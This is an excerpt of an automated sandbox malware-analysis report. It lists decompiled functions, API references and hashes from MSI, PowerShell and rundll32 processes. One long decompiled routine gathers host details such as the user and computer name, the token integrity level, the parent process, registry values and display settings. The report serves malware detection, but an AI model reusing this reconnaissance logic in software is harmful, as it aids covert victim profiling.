Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: FreeLocal_invalid_parameter_noinfo_noreturn
String ID: invalid string position
API String ID: 195334829-1799206989
Opcode ID: ff5fa993befa850f669c62b7ef4c4aa4aaf16949fbdd008c9f9a0e3fa53123a9
Instruction ID: 870329f62ad46af8b4c13c6ad0834cab86da07697bee96c5dcda97c5d3ce0360
Opcode Fuzzy Hash: ff5fa993befa850f669c62b7ef4c4aa4aaf16949fbdd008c9f9a0e3fa53123a9
Instruction Fuzzy Hash: F4313365716AC185EA00FF21E9451A9E36AFB08BC0F991132DF1C47BA5EF7CD0618304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF726248 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00007FF77FF7AF726248(void* __ecx, void* __edx, long long __rbx, long long _a8, intOrPtr _a48) {
				signed long long _v48;
				void* _t7;
				void* _t8;
				void* _t13;
				void* _t23;
				void* _t24;

				_a8 = __rbx;
				asm("movsd [esp+0x20], xmm3");
				asm("movsd [esp+0x18], xmm2");
				_t8 = __ecx;
				r8d = 0;
				if ( *0xaf73d320 == __edx) goto 0xaf7262b1;
				r8d = r8d + 1;
				if (0x7ff7af73d330 - 0xaf73d4f0 < 0) goto 0xaf726270;
				_v48 = _v48 & 0x00000000;
				E00007FF77FF7AF726514(__ecx, _t13, __rbx, _a48, _t23, _t24);
				_t7 = E00007FF77FF7AF726218(_t8, 0x7ff7af73d330, _a48);
				asm("movsd xmm0, [ebp+0x30]");
				return _t7;
			}

0x7ff7af726248
0x7ff7af72624d
0x7ff7af726253
0x7ff7af726268
0x7ff7af72626d
0x7ff7af726272
0x7ff7af726274
0x7ff7af726285
0x7ff7af726287
0x7ff7af726295
0x7ff7af72629c
0x7ff7af7262a1
0x7ff7af7262b0

APIs

_set_errno_from_matherr.LIBCMT ref: 00007FF7AF72629C
_set_errno_from_matherr.LIBCMT ref: 00007FF7AF726309

Strings

exp, xrefs: 00007FF7AF726277

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _set_errno_from_matherr
String ID: exp
API String ID: 1187470696-113136155
Opcode ID: 5551c42901dc639f4736d113c8fe4e55939b98e25b13369dc77340c3cfe2bb6a
Instruction ID: 8dc346380d89821e654d22e8c160e02415c4072450f3257e8fd96e4670b44bc5
Opcode Fuzzy Hash: 5551c42901dc639f4736d113c8fe4e55939b98e25b13369dc77340c3cfe2bb6a
Instruction Fuzzy Hash: 9121193AF166558EE750EF78C840AEC77F0EB5C708B811536EA0D92B5ADF38E4408B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DBCC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00007FF77FF7AF6DBCC0(long long __rax, long long __rbx, long long __rcx, void* __rdx, long long _a8, long long _a16) {
				long long _t21;
				long long _t24;

				_t21 = __rax;
				_a16 = __rbx;
				_a8 = __rcx;
				_t24 = __rcx;
				E00007FF77FF7AF6E8B64(0, __rcx);
				 *((long long*)(_t24 + 8)) = _t21;
				 *((char*)(_t24 + 0x10)) = 0;
				 *((long long*)(_t24 + 0x18)) = _t21;
				 *((char*)(_t24 + 0x20)) = 0;
				 *((long long*)(_t24 + 0x28)) = _t21;
				 *((short*)(_t24 + 0x30)) = 0;
				 *((long long*)(_t24 + 0x38)) = _t21;
				 *((short*)(_t24 + 0x40)) = 0;
				 *((long long*)(_t24 + 0x48)) = _t21;
				 *((char*)(_t24 + 0x50)) = 0;
				 *((long long*)(_t24 + 0x58)) = _t21;
				 *((char*)(_t24 + 0x60)) = 0;
				if (__rdx == 0) goto 0xaf6dbd2a;
				return E00007FF77FF7AF6E89C4(_t21, _t24, _t24, __rdx);
			}

0x7ff7af6dbcc0
0x7ff7af6dbcc0
0x7ff7af6dbcc5
0x7ff7af6dbcd2
0x7ff7af6dbcd7
0x7ff7af6dbcdf
0x7ff7af6dbce3
0x7ff7af6dbce6
0x7ff7af6dbcea
0x7ff7af6dbced
0x7ff7af6dbcf1
0x7ff7af6dbcf5
0x7ff7af6dbcf9
0x7ff7af6dbcfd
0x7ff7af6dbd01
0x7ff7af6dbd04
0x7ff7af6dbd08
0x7ff7af6dbd0e
0x7ff7af6dbd29

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DBCD7
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7AF6DBD16

Strings

bad locale name, xrefs: 00007FF7AF6DBD2A

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: e430a4f10a4ac7434e9c1392e0eec0ce71f7ff8cd92eeb7f1b262c22f7e70a17
Instruction ID: 7ccc2c9a3d2ca6daa7c280f7308bb02772af008a6b8d5679caa1bd03b77bbc30
Opcode Fuzzy Hash: e430a4f10a4ac7434e9c1392e0eec0ce71f7ff8cd92eeb7f1b262c22f7e70a17
Instruction Fuzzy Hash: DD018423506BC1CAC344EF74A840198B7A5FB18B847596139CA8C8771EEF38C490C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D75E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E00007FF77FF7AF6D75E0(long long __rbx, long long __rcx, void* __rdx, long long _a8, long long _a16) {
				long long _v24;
				short _v40;
				void* _t18;
				long long _t26;
				long long _t35;
				long long _t37;
				void* _t38;
				void* _t39;

				_a16 = __rbx;
				_a8 = __rcx;
				_t26 = __rcx;
				_v40 = 0;
				_v24 = _t37;
				__imp__ConvertSidToStringSidW();
				_t35 = _v24;
				 *((long long*)(__rcx)) = _t37;
				 *((long long*)(__rcx + 0x10)) = _t37;
				 *((long long*)(__rcx + 0x18)) = 7;
				 *((short*)(__rcx)) = 0;
				if (_t35 == 0) goto 0xaf6d764e;
				if ( *((short*)(_t35 + 0xfffffffffffffffe)) != 0) goto 0xaf6d7631;
				E00007FF77FF7AF6D2000(__rcx, __rcx, _t35, _t38, _t39, 0);
				_v40 = 1;
				goto 0xaf6d766b;
				r8d = 0xb;
				E00007FF77FF7AF6D2000(_t26, _t26, L"Invalid SID", _t38, _t39, 0);
				_v40 = 1;
				if (_v24 == 0) goto 0xaf6d7680;
				_t18 = LocalFree(??);
				_v24 = _t37;
				return _t18;
			}

0x7ff7af6d75e0
0x7ff7af6d75e5
0x7ff7af6d75f2
0x7ff7af6d75f7
0x7ff7af6d75fb
0x7ff7af6d7608
0x7ff7af6d760e
0x7ff7af6d7613
0x7ff7af6d7616
0x7ff7af6d761a
0x7ff7af6d7622
0x7ff7af6d7628
0x7ff7af6d763a
0x7ff7af6d763f
0x7ff7af6d7644
0x7ff7af6d764c
0x7ff7af6d764e
0x7ff7af6d765e
0x7ff7af6d7663
0x7ff7af6d7673
0x7ff7af6d7675
0x7ff7af6d767b
0x7ff7af6d768d

APIs

ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7AF6D7608
LocalFree.KERNEL32 ref: 00007FF7AF6D7675

Strings

Invalid SID, xrefs: 00007FF7AF6D7654

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ConvertFreeLocalString
String ID: Invalid SID
API String ID: 3201929900-130637731
Opcode ID: a573a525edd4d36d46c42575bde2ab9fe67b8ed1edefc4cfcb75c6ef29128dc9
Instruction ID: c24a0cf0e11cee6cc25b1cdda6af433483199b84ea2fb8c824405a7dee061b53
Opcode Fuzzy Hash: a573a525edd4d36d46c42575bde2ab9fe67b8ed1edefc4cfcb75c6ef29128dc9
Instruction Fuzzy Hash: ED11917661AB8182EB149F15F5003A9F2A5FB88BD4F816335EAAA077E8DF7CD050C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF70AB14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7AF6E1F96), ref: 00007FF7AF70AB58
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7AF6E1F96), ref: 00007FF7AF70AB9E

Strings

csm, xrefs: 00007FF7AF70AB8B

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 7376682c7779bc302cd95d1ef1f1efd1ce1d5bcae709a4676898e124a16aeb63
Instruction ID: 9e6a8d5d2a46db2ba9fb4d0ded7ff4d23bd504b76294ace0c13e3e2aa59f59c1
Opcode Fuzzy Hash: 7376682c7779bc302cd95d1ef1f1efd1ce1d5bcae709a4676898e124a16aeb63
Instruction Fuzzy Hash: A9115E36619B8182EB249F15F8402A9B7E1FB88B88F994231DF8D07B64DF3CD951CB40

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 4440, Parent PID: 3528COMMON

Executed Functions

Function 00007FF816051911 Relevance: 5.5, Strings: 4, Instructions: 549COMMON

Download Yara Rule

Strings

got, xrefs: 00007FF816051B54
got, xrefs: 00007FF816051B78
got, xrefs: 00007FF816051BF2
got, xrefs: 00007FF816051C14

Memory Dump Source

Source File: 00000004.00000002.382621335.00007FF816050000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff816050000_powershell.jbxd

Similarity

API ID:
String ID: got$got$got$got
API String ID: 0-1910672173
Opcode ID: 9445232cd3ca7628e994ed88250d28806b51e6492d24dd8ccf1a08f898e6da92
Instruction ID: f56d19ffde648b8df7720f59c7c397423ca1392b1e58a4f7acf9768398243b85
Opcode Fuzzy Hash: 9445232cd3ca7628e994ed88250d28806b51e6492d24dd8ccf1a08f898e6da92
Instruction Fuzzy Hash: 1A022832D1DFC60FEB9A963858652B47FE1EF52761B0902FED08AC71D3EA19AC058341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF815F833AA Relevance: 2.9, Strings: 2, Instructions: 421COMMON

Download Yara Rule

Strings

y`_H, xrefs: 00007FF815F83463
]_L, xrefs: 00007FF815F83672

Memory Dump Source

Source File: 00000004.00000002.382349753.00007FF815F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF815F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff815f80000_powershell.jbxd

Similarity

API ID:
String ID: y`_H$]_L
API String ID: 0-4024353420
Opcode ID: a4f14a6113d4b729fb54962b98a35440793e88e61b14ae3b2f70d909994da698
Instruction ID: 5120427fa1aed15fa68ca0d85e02184f99a8c617b53640165a7a0d22a37ea456
Opcode Fuzzy Hash: a4f14a6113d4b729fb54962b98a35440793e88e61b14ae3b2f70d909994da698
Instruction Fuzzy Hash: 41E13E31A1894D8FDB98DF5CC855EAD77E1FFA8750F14426AD409DB2A6CF24E881CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816051B84 Relevance: 2.6, Strings: 2, Instructions: 97COMMON

Download Yara Rule

Strings

got, xrefs: 00007FF816051BF2
got, xrefs: 00007FF816051C14

Memory Dump Source

Source File: 00000004.00000002.382621335.00007FF816050000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff816050000_powershell.jbxd

Similarity

API ID:
String ID: got$got
API String ID: 0-3589928267
Opcode ID: c2f536c505b59d26b58b32b1b29747cd0f1fc9e824131d899deb556233308fc3
Instruction ID: 9de523a0c8039c1b1728c5fb9c1cd63b9683814b5abb599ad4f67c3995569b51
Opcode Fuzzy Hash: c2f536c505b59d26b58b32b1b29747cd0f1fc9e824131d899deb556233308fc3
Instruction Fuzzy Hash: 4B213A32E1DE864FFBA9A62C185127466D2EF50BB275806FAC08ED72D3EE19EC454301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF815F82DAA Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.382349753.00007FF815F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF815F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff815f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1756f213ca28b6719c9347654e4b5df97c9044d0d6a379552566f4d95964387a
Instruction ID: 307096264c930f421037bbb7aa4e1131ff7e0a616953f9d6ccc5ca70be0d9c1a
Opcode Fuzzy Hash: 1756f213ca28b6719c9347654e4b5df97c9044d0d6a379552566f4d95964387a
Instruction Fuzzy Hash: B4B1273690DBC19FE706AA2CA8955E53FA0EF53B70B1801BBD0C5CF1A3DE14684AC751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF815F80FD9 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.382349753.00007FF815F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF815F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff815f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07359de55074aa5b8ec4a88d355d43cdb56fb9684b683a57a9e93fb9b19c741c
Instruction ID: a6a714184b12bdfe71c2b5401ee3c2e325d0c2369694caacb87cb598e2b5018a
Opcode Fuzzy Hash: 07359de55074aa5b8ec4a88d355d43cdb56fb9684b683a57a9e93fb9b19c741c
Instruction Fuzzy Hash: ED51013290CA894FD304DB28D855EA6B7E1FF85760F4447BAE04DCB2A2CF28A945C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF815F82FC4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.382349753.00007FF815F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF815F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff815f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c88fb8fcb43fc3c4b71c6b00e2b7afc4baa48c20be86839ab23b1e14ebc0288
Instruction ID: b2f14d529015cec308e2ee43fa5c9acc00785a8071cd797c108fea6e5c5853d2
Opcode Fuzzy Hash: 9c88fb8fcb43fc3c4b71c6b00e2b7afc4baa48c20be86839ab23b1e14ebc0288
Instruction Fuzzy Hash: 18118131B1CB454FD358DE1CD88156573E1EB99764F50063DE4CA8729AEE25F842CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF815F829D5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.382349753.00007FF815F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF815F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff815f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc5f0a91a695ff05be30e16252b13f6526685461b7b5eb8fcb1b3adee12f95b5
Instruction ID: c6baa85e01baf72a3c58f4e7d7475a925ad4cc499c4e65232762b64719584aab
Opcode Fuzzy Hash: fc5f0a91a695ff05be30e16252b13f6526685461b7b5eb8fcb1b3adee12f95b5
Instruction Fuzzy Hash: D801A77111CB0C4FD744EF0CE451AA6B3E0FB85360F10052EE59AC7261DB32E881CB41

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 2460, Parent PID: 2088COMMON

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	89.7%
Signature Coverage:	17.4%
Total number of Nodes:	1624
Total number of Limit Nodes:	29

Executed Functions

Function 04A09C20 Relevance: 96.7, APIs: 50, Strings: 5, Instructions: 460
stringregistrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E04A09C20(char* __ecx) {
				short _v556;
				intOrPtr _v564;
				intOrPtr _v572;
				intOrPtr _v576;
				char _v580;
				char _v584;
				void* _v588;
				void* _v592;
				void _v660;
				char _v668;
				intOrPtr _v676;
				char* _v684;
				void* _v688;
				void* _v692;
				long _v696;
				long _v700;
				int _v704;
				int _v712;
				signed char _v713;
				long _v716;
				char _v724;
				intOrPtr _v732;
				signed char _v736;
				intOrPtr _v768;
				intOrPtr* _v776;
				signed char _v777;
				char _v784;
				char _v792;
				char _v800;
				short _v808;
				intOrPtr _t110;
				struct HINSTANCE__* _t115;
				long _t121;
				long _t122;
				intOrPtr* _t124;
				long _t126;
				void* _t127;
				void* _t129;
				int _t137;
				signed char _t141;
				signed char _t142;
				struct HWND__* _t152;
				void* _t153;
				struct HINSTANCE__* _t155;
				intOrPtr* _t156;
				short _t157;
				void* _t158;
				int _t165;
				int _t191;
				int _t194;
				int _t198;
				signed int _t208;
				signed int _t209;
				char* _t210;
				signed char _t212;
				intOrPtr _t213;
				intOrPtr _t215;
				_Unknown_base(*)()* _t237;
				struct HDC__* _t239;
				struct HINSTANCE__* _t241;
				signed int _t242;
				WCHAR* _t245;
				void* _t249;
				signed int _t250;
				intOrPtr* _t253;
				struct HINSTANCE__* _t254;
				void* _t255;
				signed int _t256;
				long _t257;
				long _t258;
				void* _t260;
				intOrPtr* _t261;
				intOrPtr _t262;
				long* _t264;

				_t210 = __ecx;
				_v684 = __ecx;
				E04A010D0(__ecx, 0, 0x3f6);
				_t215 =  *0x4a163d4; // 0x4a00000
				_t2 = _t210 + 0x15e; // 0x4a16dde
				_t245 = _t2;
				_t264 =  &(( &_v696)[3]);
				 *_t210 = 4;
				 *0x4a15000 = 2;
				 *((short*)(_t210 + 0x366)) = 0x903;
				_t110 =  *0x4a163b8; // 0x10000000
				_t216 =  !=  ? _t110 : _t215;
				GetModuleFileNameW( !=  ? _t110 : _t215, _t245, 0x104);
				lstrcpyW("C:\ProgramData\", _t245);
				if( *0x4a17490 == 0) {
					L6:
					if(ExpandEnvironmentStringsW( *0x4a16774, ?str?, 0x104) <= 3) {
						L15:
						GetEnvironmentVariableW( *0x4a168f8, "C:\Windows\system32\cmd.exe", 0x104);
						_t115 = GetModuleHandleA( *0x4a16a24);
						_v676 = GetProcAddress;
						_t237 = GetProcAddress(_t115,  *0x4a16a3c);
						if(_t237 != 0) {
							 *_t237(GetCurrentProcess(),  &_v668);
						}
						if(_v668 != 0) {
							 *((char*)(_t210 + 0xd)) = 1;
						}
						_t257 = _t256 | 0xffffffff;
						if(OpenProcessToken(GetCurrentProcess(), 8,  &_v688) == 0) {
							L26:
							 *(_t210 + 9) = _t257;
							_t121 = GetCurrentProcessId();
							_t28 = _t210 + 5; // 0x4a16c85
							 *(_t210 + 1) = _t121;
							__imp__ProcessIdToSessionId(_t121, _t28);
							_t122 = GetTickCount();
							 *(_t210 + 0xe) = _t122;
							_t124 = _v692(GetModuleHandleA( *0x4a16b90),  *0x4a16b94);
							if(_t124 != 0) {
								_v580 = 0x114;
								_push( &_v580);
								if( *_t124() == 0) {
									 *((intOrPtr*)(_t210 + 0x12)) = _v580;
									 *((intOrPtr*)(_t210 + 0x1a)) = _v572;
									 *((intOrPtr*)(_t210 + 0x16)) = _v576;
									_t191 =  *0x4a15000; // 0x2
									_t192 =  <  ? 0 : _t191;
									 *0x4a15000 =  <  ? 0 : _t191;
								}
							}
							_t126 = RegOpenKeyExW(0x80000002,  *0x4a168f0, 0, 0x20119,  &_v696); // executed
							if(_t126 == 0) {
								_v712 = 1;
								_t43 = _t210 + 0x1e; // 0x4a16c9e
								_v704 = 0x28;
								RegQueryValueExW(_v696,  *0x4a168f4, 0,  &_v712, _t43,  &_v704); // executed
								RegCloseKey(_v696);
							}
							_t127 = GetProcessWindowStation();
							if(_t127 != 0) {
								_v716 = 0x28;
								if(GetUserObjectInformationW(_t127, 2,  &_v660, 0x28,  &_v716) != 0) {
									_t52 = _t210 + 0x46; // 0x4a16cc6
									E04A01000(_t52,  &_v660, 0x50);
									_t264 =  &(_t264[3]);
								}
							}
							_t129 = GetThreadDesktop(GetCurrentThreadId());
							if(_t129 != 0) {
								_v716 = 0x28;
								if(GetUserObjectInformationW(_t129, 2,  &_v660, 0x28,  &_v716) != 0) {
									_t57 = _t210 + 0x96; // 0x4a16d16
									E04A01000(_t57,  &_v660, 0x50);
									_t264 =  &(_t264[3]);
								}
							}
							_v716 = 0x14;
							_t60 = _t210 + 0x10e; // 0x4a16d8e
							GetUserNameW(_t60,  &_v716);
							_v716 = 0x14;
							_t63 = _t210 + 0xe6; // 0x4a16d66
							GetComputerNameW(_t63,  &_v716);
							_t258 = GetCurrentProcessId(); // executed
							_t137 = CreateToolhelp32Snapshot(2, 0); // executed
							_t249 = _t137;
							if(_t249 == 0xffffffff) {
								L51:
								__imp__WTSGetActiveConsoleSessionId();
								_push(0);
								_push(0);
								_push(0x1d);
								_push(0xffffffff);
								_push(0);
								 *(_t210 + 0x36c) = _t137;
								if( *0x4a165bc() != 0) {
									 *((char*)(_t210 + 0x369)) = 1;
								}
								_v716 = 0;
								_v712 = 0;
								_t141 =  *0x4a165bc(0, 0xffffffff, 0x10,  &_v716,  &_v712); // executed
								if(_t141 == 0) {
									L57:
									_t142 = _t141 | 0x000000ff;
									goto L58;
								} else {
									_t141 = _v736;
									if(_t141 == 0 || _v732 == 0) {
										goto L57;
									} else {
										_t142 =  *_t141;
										L58:
										 *(_t210 + 0x368) = _t142;
										 *0x4a17488 = 0;
										E04A010D0(0x4a176a0, 0, 0x28);
										lstrcpyA( &_v724,  *0x4a16bd4);
										_t212 = 0x31;
										do {
											_v713 = _t212;
											_t239 = CreateDCA( &_v724, 0, 0, 0);
											if(_t239 != 0) {
												_t250 = _t212 & 0x000000ff;
												 *(0x4a176a0 + _t250 * 4) = GetDeviceCaps(_t239, 8);
												_t242 = GetDeviceCaps(_t239, 0xa) & 0x0000ffff;
												 *(0x4a176a2 + _t250 * 4) = _t242;
												_t252 =  <=  ?  *(0x4a176a0 + _t250 * 4) & 0x0000ffff :  *0x4a17488 & 0x0000ffff;
												 *0x4a17488 =  <=  ?  *(0x4a176a0 + _t250 * 4) & 0x0000ffff :  *0x4a17488 & 0x0000ffff;
												_t234 =  <=  ? _t242 :  *0x4a1748a & 0x0000ffff;
												_t212 = _t212 + 1;
												 *0x4a1748a =  <=  ? _t242 :  *0x4a1748a & 0x0000ffff;
											}
											_t212 = _t212 + 1;
										} while (_t212 <= 0x39);
										_v777 = _t212;
										_t213 = _v768;
										 *((char*)(_t213 + 0x36a)) = _v777;
										 *((short*)(_t213 + 0x36e)) =  *0x4a17488 & 0x0000ffff;
										 *((short*)(_t213 + 0x370)) =  *0x4a1748a & 0x0000ffff;
										_t152 = GetDesktopWindow();
										_t253 = __imp__MonitorFromWindow;
										_t153 =  *_t253(_t152, 2);
										_t260 = _t153;
										_t155 =  *_t253(GetDesktopWindow(), 1);
										_t254 = _t155;
										if(_t260 == 0 || _t254 == 0) {
											 *((char*)(_t213 + 0x36b)) = 0xff;
											if(_t254 == 0) {
												goto L74;
											}
											goto L67;
										} else {
											if(_t254 == _t260) {
												 *((char*)(_t213 + 0x36b)) = 1;
											}
											L67:
											_t155 = LoadLibraryA( *0x4a16a68);
											_t241 = _t155;
											if(_t241 == 0) {
												L74:
												return _t155;
											}
											_t261 = _v776;
											_t156 =  *_t261(_t241,  *0x4a16a6c);
											if(_t156 != 0) {
												_t158 =  *_t156(_t254, 0,  &_v792,  &_v784); // executed
												if(_t158 == 0) {
													 *((short*)(_t213 + 0x372)) = _v808;
												}
											}
											_t155 =  *_t261(_t241,  *0x4a16a70);
											if(_t155 == 0) {
												goto L74;
											} else {
												_t155 = _t155->i(_t254,  &_v800); // executed
												if(_t155 != 0) {
													goto L74;
												}
												_t157 = _v808;
												 *((short*)(_t213 + 0x374)) = _t157;
												return _t157;
											}
										}
									}
								}
							} else {
								_v584 = 0x22c;
								_push( &_v584);
								_t165 = Process32FirstW(_t249); // executed
								if(_t165 == 0) {
									L50:
									_t137 = CloseHandle(_t249);
									goto L51;
								}
								while(_v580 != _t258) {
									if(Process32NextW(_t249,  &_v588) != 0) {
										continue;
									}
									goto L50;
								}
								_t262 = _v564;
								if(_t262 == 0) {
									goto L50;
								}
								_push( &_v588);
								if(Process32FirstW(_t249) == 0) {
									goto L50;
								}
								asm("o16 nop [eax+eax]");
								while(_v584 != _t262) {
									if(Process32NextW(_t249,  &_v592) != 0) {
										continue;
									}
									goto L50;
								}
								_t73 = _t210 + 0x136; // 0x4a16db6
								lstrcpynW(_t73,  &_v556, 0x14);
								goto L50;
							}
						}
						_t194 = GetTokenInformation(_v688, 0x19, 0, 0,  &_v696); // executed
						if(_t194 == 0 && GetLastError() == 0x7a) {
							_t255 = LocalAlloc(0, _v700);
							if(_t255 == 0) {
								goto L26;
							}
							_t198 = GetTokenInformation(_v692, 0x19, _t255, _v700,  &_v700); // executed
							if(_t198 != 0) {
								_t257 =  *(GetSidSubAuthority( *_t255, ( *(GetSidSubAuthorityCount( *_t255)) & 0x000000ff) - 1));
							}
							LocalFree(_t255);
						}
						goto L26;
					}
					if( *0x4a17280 == 0) {
						L14:
						lstrcatW("C:\Users\jones\AppData\LocalLow\",  *0x4a16778);
						goto L15;
					}
					_t208 = lstrlenW("C:\Users\jones\AppData\LocalLow\");
					if(_t208 == 0) {
						L12:
						if( *((short*)(0x4a17280 + _t208 * 2)) != 0x5c) {
							goto L14;
						}
						goto L13;
					} else {
						while( *((short*)(0x4a17280 + _t208 * 2)) != 0x5c) {
							_t208 = _t208 - 1;
							if(_t208 != 0) {
								continue;
							}
							goto L12;
						}
						L13:
						 *((short*)(0x4a17282 + _t208 * 2)) = 0;
						goto L14;
					}
				}
				_t209 = lstrlenW("C:\ProgramData\");
				if(_t209 == 0) {
					L4:
					if( *((short*)(0x4a17490 + _t209 * 2)) != 0x5c) {
						goto L6;
					}
					L5:
					 *((short*)(0x4a17492 + _t209 * 2)) = 0;
					goto L6;
				}
				while( *((short*)(0x4a17490 + _t209 * 2)) != 0x5c) {
					_t209 = _t209 - 1;
					if(_t209 != 0) {
						continue;
					}
					goto L4;
				}
				goto L5;
			}

0x04a09c2f
0x04a09c34
0x04a09c38
0x04a09c3d
0x04a09c43
0x04a09c43
0x04a09c49
0x04a09c4c
0x04a09c54
0x04a09c5e
0x04a09c65
0x04a09c71
0x04a09c76
0x04a09c82
0x04a09c96
0x04a09cc8
0x04a09ce1
0x04a09d36
0x04a09d46
0x04a09d58
0x04a09d64
0x04a09d70
0x04a09d74
0x04a09d7e
0x04a09d7e
0x04a09d85
0x04a09d87
0x04a09d87
0x04a09d8f
0x04a09da0
0x04a09e0e
0x04a09e14
0x04a09e17
0x04a09e19
0x04a09e1c
0x04a09e21
0x04a09e27
